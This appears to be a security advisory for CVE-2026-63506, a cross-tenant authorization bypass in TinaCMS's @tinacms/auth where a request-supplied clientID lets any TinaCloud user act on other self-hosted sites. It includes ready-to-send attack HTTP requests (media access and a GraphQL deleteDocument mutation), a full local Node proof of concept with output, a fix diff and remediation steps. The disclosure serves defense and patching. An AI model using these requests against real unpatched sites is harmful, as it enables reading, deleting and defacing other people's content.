CVE-2026-63506: Tina: [Broken Access Control] letting any TinaCloud user authorize against any self-hosted site
Summary @tinacms/auth's isAuthorized(req) decides authorization by validating the caller's bearer token against https://identity.tinajs.io/v2/apps/${req.query.clientID}/currentUser, where the clientID comes from the request and is never compared to the site's own configured TinaCloud app id. The function answers "is this token a verified user of whatever app the caller named?" instead of "is this token a verified user of THIS site?" Any TinaCloud user can create their own free app, get a valid token for it, and send ?clientID=<their-own-app> plus Authorization: <their-own-token> to a victim self-hosted site. The victim's authorized callback runs const user = await isAuthorized(req); return user && user.verified, which returns true, and the victim authorizes the attacker. The attacker holds no account on the victim and needs no victim interaction. With the media handlers this grants read, upload, and delete on the victim's media bucket. When the backend uses TinaCloudBackendAuthProvider() (the default the tinacms init wizard generates for TinaCloud auth), it grants full GraphQL read, write, and delete of the victim's content.
Affected code (confirmed at 5a6839f) packages/@tinacms/auth/src/index.ts:71-88 reads the clientID from the request: ts export const isAuthorized = async (req: NextApiRequest) => { const clientID = req.query.clientID; // attacker-controlled const token = req.headers.authorization; // attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; index.ts:16-43 sends that caller-chosen clientID straight to the identity server, and returns the user on 200: ts const tinaCloudRes = await fetch( https://identity.tinajs.io/v2/apps/${clientID}/currentUser, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET' } ); if (tinaCloudRes.ok) { return await tinaCloudRes.json(); } index.ts:118-135 (TinaCloudBackendAuthProvider) gates only on verified, which reflects the attacker's own email verification: ts isAuthorized: async (req, res) => { const user = await isAuthorized(req as NextApiRequest); if (user && user.verified) return { isAuthorized: true }; return { isAuthorized: false, errorCode: 401, errorMessage: 'Unauthorized' }; }, Every media-store README wires the same gate (next-tinacms-cloudinary/README.md:113-122, identical in s3 and dos): ts authorized: async (req, res) => { if (process.env.NEXTPUBLICUSELOCALCLIENT === '1') return true; const user = await isAuthorized(req); return user && user.verified; // no clientID === <this site's app> check } The bug is duplicated in next-tinacms-azure/src/auth.ts:34-51 (req.nextUrl.searchParams.get('clientID')). Downstream nothing pins the site's clientID: @tinacms/datalayer/src/backend/index.ts:201 gates on the boolean, and next-tinacms-cloudinary/src/handlers.ts:36 returns 401 only when the callback is false. The tinacms init TinaCloud path ships this by default (@tinacms/cli/.../prompts/authProvider.ts:17 -> TinaCloudBackendAuthProvider(), used in templates/tinaNextRoute.tsx:21-24 for every non-local deployment). Steps to reproduce (real target) Setup: attacker has one free TinaCloud account with one app (clientID = ATTACKERAPP, token Tattacker) and no victim account. Victim is any self-hosted TinaCMS site using @tinacms/auth. Media bucket (read; the same gate covers POST upload and DELETE): GET /api/cloudinary/media?clientID=ATTACKERAPP HTTP/1.1 Host: victim.example Authorization: Tattacker Content backend, when TinaCloudBackendAuthProvider is used: POST /api/tina/gql?clientID=ATTACKERAPP HTTP/1.1 Host: victim.example Authorization: Tattacker Content-Type: application/json {"query":"mutation($c:String!,$r:String!){deleteDocument(collection:$c,relativePath:$r){typename}}","variables":{"c":"post","r":"hello.md"}} Expected: 401/403 for a user with no access to victim.example. Actual: 200, because authorization is bound to the attacker-supplied clientID. Proof of concept (self-contained, zero dependencies) Save the file below as poc.js and run node poc.js (Node >= 18). It runs the package's own isAuthorized / isUserAuthorized (TypeScript types removed; the hard-coded identity.tinajs.io base read from an env var so it points at a local identity model) behind the verbatim media-store authorized callback. The identity model scopes tokens to apps correctly and is not itself vulnerable; the bug is that the victim lets the caller choose which app to validate against. js / Self-contained PoC — @tinacms/auth cross-tenant authorization bypass Audited commit: 5a6839f95ca60d1b9f4032a3bed1ae4a338a4787 (@tinacms/auth 1.1.3) Zero dependencies. Run with: node poc.js (Node >= 18 for global fetch) The two functions below are copied from packages/@tinacms/auth/src/index.ts. The ONLY changes are: TypeScript types removed, and the hard-coded https://identity.tinajs.io base read from IDENTITYBASE so it can point at the local identity model. req.query.clientID, the currentUser call, and the user && user.verified gate are byte-for-byte the original logic. / const http = require('http'); const IDENTITYPORT = 18099; const VICTIMPORT = 19090; process.env.IDENTITYBASE = http://127.0.0.1:${IDENTITYPORT}; / ===== verbatim from @tinacms/auth/src/index.ts (types stripped) ===== / const isUserAuthorized = async (args) => { const clientID = args.clientID; const token = args.token; try { const tinaCloudRes = await fetch( ${process.env.IDENTITYBASE || 'https://identity.tinajs.io'}/v2/apps/${clientID}/currentUser, { headers: new Headers({ 'Content-Type': 'application/json', authorization: token }), method: 'GET', } ); if (tinaCloudRes.ok) { const user = await tinaCloudRes.json(); return user; } return; } catch (e) { console.error(e); throw e; } }; const isAuthorized = async (req) => { const clientID = req.query.clientID; // <-- attacker-controlled const token = req.headers.authorization; // <-- attacker-controlled if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; / ===== identity model: a token grants access to the app its owner owns ===== This is NOT the vulnerable part. It scopes tokens to apps correctly. The bug is that the victim lets the caller choose which app to validate against. / const TOKENFOR = { 'victim-app': 'valid-token-for-victim-app', 'attacker-app': 'valid-token-for-attacker-app', }; const USERFOR = { 'victim-app': { id: 'u-victim', email: 'owner@victim.example', verified: true, role: 'admin' }, 'attacker-app': { id: 'u-attacker', email: 'attacker@evil.example', verified: true, role: 'admin' }, }; const identity = http.createServer((req, res) => { const m = req.url.match(/^\/v2\/apps\/([^/]+)\/currentUser$/); if (!m) { res.writeHead(404); return res.end('nf'); } const app = decodeURIComponent(m[1]); if (TOKENFOR[app] && req.headers['authorization'] === TOKENFOR[app]) { res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify(USERFOR[app])); } res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'unauthorized for this app' })); }); / ===== victim site (own clientID = victim-app), verbatim media-store README callback ===== / const authorized = async (req) => { const user = await isAuthorized(req); return user && user.verified; // never checks req.query.clientID === victim-app }; const victim = http.createServer(async (req, res) => { const u = new URL(req.url, http://127.0.0.1:${VICTIMPORT}); req.query = Object.fromEntries(u.searchParams.entries()); if (!u.pathname.startsWith('/api/cloudinary/media')) { res.writeHead(404); return res.end('nf'); } if (!(await authorized(req))) { res.writeHead(401, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ message: 'sorry this user is unauthorized' })); } res.writeHead(200, { 'Content-Type': 'application/json' }); return res.end(JSON.stringify({ authorized: true, site: 'victim-app', media: ['victim/private/contract.pdf', 'victim/private/customers.csv'] })); }); / ===== driver ===== / function call(clientID, token) { return new Promise((resolve) => { const r = http.request({ host: '127.0.0.1', port: VICTIMPORT, path: /api/cloudinary/media?clientID=${encodeURIComponent(clientID)}, method: 'GET', headers: { authorization: token } }, (res) => { let b = ''; res.on('data', (c) => (b += c)); res.on('end', () => resolve({ status: res.statusCode, body: b })); }); r.on('error', (e) => resolve({ status: 0, body: String(e) })); r.end(); }); } (async () => { await new Promise((r) => identity.listen(IDENTITYPORT, '127.0.0.1', r)); await new Promise((r) => victim.listen(VICTIMPORT, '127.0.0.1', r)); const c1 = await call('victim-app', 'valid-token-for-victim-app'); console.log('[CONTROL 1 legit victim user ] clientID=victim-app token=victim ->', c1.status, c1.body); const c2 = await call('victim-app', 'valid-token-for-attacker-app'); console.log('[CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker ->', c2.status, c2.body); const atk = await call('attacker-app', 'valid-token-for-attacker-app'); console.log('[ATTACK attacker own app+token ] clientID=attacker-app token=attacker ->', atk.status, atk.body); const bug = c1.status === 200 && c2.status === 401 && atk.status === 200; console.log('\nVERDICT:', bug ? 'VULNERABLE — attacker authorized on victim site with credentials only for their own app.' : 'NOT REPRODUCED'); identity.close(); victim.close(); process.exit(bug ? 0 : 1); })(); Output: [CONTROL 1 legit victim user ] clientID=victim-app token=victim -> 200 {"authorized":true,"site":"victim-app","media":[...]} [CONTROL 2 attacker token, victim ] clientID=victim-app token=attacker -> 401 {"message":"sorry this user is unauthorized"} [ATTACK attacker own app+token ] clientID=attacker-app token=attacker -> 200 {"authorized":true,"site":"victim-app","media":[...]} VERDICT: VULNERABLE - attacker authorized on victim site with credentials only for their own app. CONTROL 1 (200) shows the identity model is faithful, not a blanket allow. CONTROL 2 (401) shows the attacker cannot reach the victim's app with their own token. ATTACK (200) shows that naming their own app id, which their own token matches, passes the victim's gate and returns the victim's private media. I verified the full chain in source at the audited commit and reproduced the code logic deterministically with the PoC above. I did not run the end-to-end attack against production identity.tinajs.io with two real accounts and a live deployment; that step needs two real accounts and a deployment. The one assumption it rests on, that GET /v2/apps/<attacker-app>/currentUser with the attacker's own token returns 200 + verified:true, is the normal behavior of an app owner's own session.
Impact An attacker with a free TinaCloud account reaches editor-level control of unrelated tenants: - Media handlers: list and read media, upload arbitrary objects (next-tinacms-dos writes ACL: public-read, usable to host malware or phishing under the victim's CDN), and delete media by key. - TinaCloudBackendAuthProvider backend: arbitrary GraphQL. Read every document, createDocument / updateDocument to deface or inject content that deploys to production, and deleteDocument to destroy content. The attacker scripts requests with their own token and clientID=<own app> against known TinaCMS self-hosted endpoints, so it scales across deployments. Fix Bind the decision to the site's own configured app id instead of the request value. diff - export const isAuthorized = async (req: NextApiRequest) => { - const clientID = req.query.clientID; - const token = req.headers.authorization; + export const isAuthorized = async (req: NextApiRequest, expectedClientID?: string) => { + const requestClientID = req.query.clientID; + const token = req.headers.authorization; + const clientID = expectedClientID ?? process.env.NEXTPUBLICTINACLIENTID; + if (expectedClientID && requestClientID && requestClientID !== expectedClientID) { + return undefined; // refuse a cross-tenant clientID + } if (typeof clientID === 'string' && typeof token === 'string') { return await isUserAuthorized({ clientID, token }); } return undefined; }; Thread the site's configured clientID into TinaCloudBackendAuthProvider() and the media handler config, require isUserAuthorized to use it rather than req.query.clientID, apply the same change to next-tinacms-azure/src/auth.ts, and update the media-store READMEs so integrators stop reintroducing the request-driven clientID.
Other sources
Tina is a headless content management system. Prior to @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1, isAuthorized accepts a request-controlled clientID and asks isUserAuthorized to validate the bearer token against that selected TinaCloud app instead of the self-hosted site's configured app. An attacker with any TinaCloud account can submit the attacker's own app ID and valid token to a victim endpoint, causing TinaCloudBackendAuthProvider or an affected media authorized callback to accept the attacker's verified status across the tenant boundary. The vulnerable logic is present in packages/@tinacms/auth/src/index.ts and packages/next-tinacms-azure/src/auth.ts. Successful exploitation permits media listing, reading, upload, or deletion and, when TinaCloudBackendAuthProvider is used, GraphQL read, create, update, and delete operations on the victim's content without a victim account or victim interaction. This vulnerability is fixed in @tinacms/auth 1.1.4 and next-tinacms-azure 15.0.1.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/next-tinacms-azureto a version that resolves this vulnerability.Fixed in 15.0.1 - Upgrade
Upgrade
npm/@tinacms/authto a version that resolves this vulnerability.Fixed in 1.1.4 - Upgrade
Upgrade
@tinacms/authto a version that resolves this vulnerability.Fixed in 1.1.4 - Upgrade
Upgrade
next-tinacms-azureto a version that resolves this vulnerability.Fixed in 15.0.1 - Configuration
Thread the site’s configured clientID into TinaCloudBackendAuthProvider() and the media handler configuration so isUserAuthorized validates the bearer token against the site’s app, not against req.query.clientID.
@tinacms/auth (TinaCloudBackendAuthProvider) use site-configured clientID instead of request query = clientID from the site’s configured value (thread into TinaCloudBackendAuthProvider and media handler config); do not use req.query.clientID - Configuration
Apply the same fix as @tinacms/auth: bind authorization to the site’s configured clientID instead of the request-controlled clientID in next-tinacms-azure/src/auth.ts (the code currently reads clientID from req.nextUrl.searchParams.get('clientID')).
next-tinacms-azure/src/auth.ts clientID source for isUserAuthorized = use the site’s configured clientID, not req.nextUrl.searchParams.get('clientID') - Configuration
Update next-tinacms-cloudinary media-store READMEs/integration examples so integrators stop reintroducing request-driven clientID (requests like /api/cloudinary/media?clientID=<...> should not be used to select the app for authorization).
next-tinacms-cloudinary media handlers / README guidance API contract for clientID parameter = integrators should not drive authorization with request-controlled clientID; use site-configured clientID in requests
Event History
Frequently Asked Questions
Who can exploit this issue?
Any user with a TinaCloud account can exploit an affected self-hosted site. The attacker does not need an account for the victim site or any interaction from a victim user.
What does an attacker need to submit?
The attacker needs their own TinaCloud app ID and a valid bearer token for that app. They can provide the app ID through the request-controlled clientID field so authorization is checked against their app rather than the victim site's configured app.
Which site capabilities can be exposed?
Affected media authorization callbacks can permit media listing, reading, upload, or deletion. Sites using TinaCloudBackendAuthProvider can additionally permit GraphQL read, create, update, and delete operations against victim content.
Which versions contain the fix?
Update @tinacms/auth to 1.1.4 or later and next-tinacms-azure to 15.0.1 or later. The issue affects versions prior to those releases.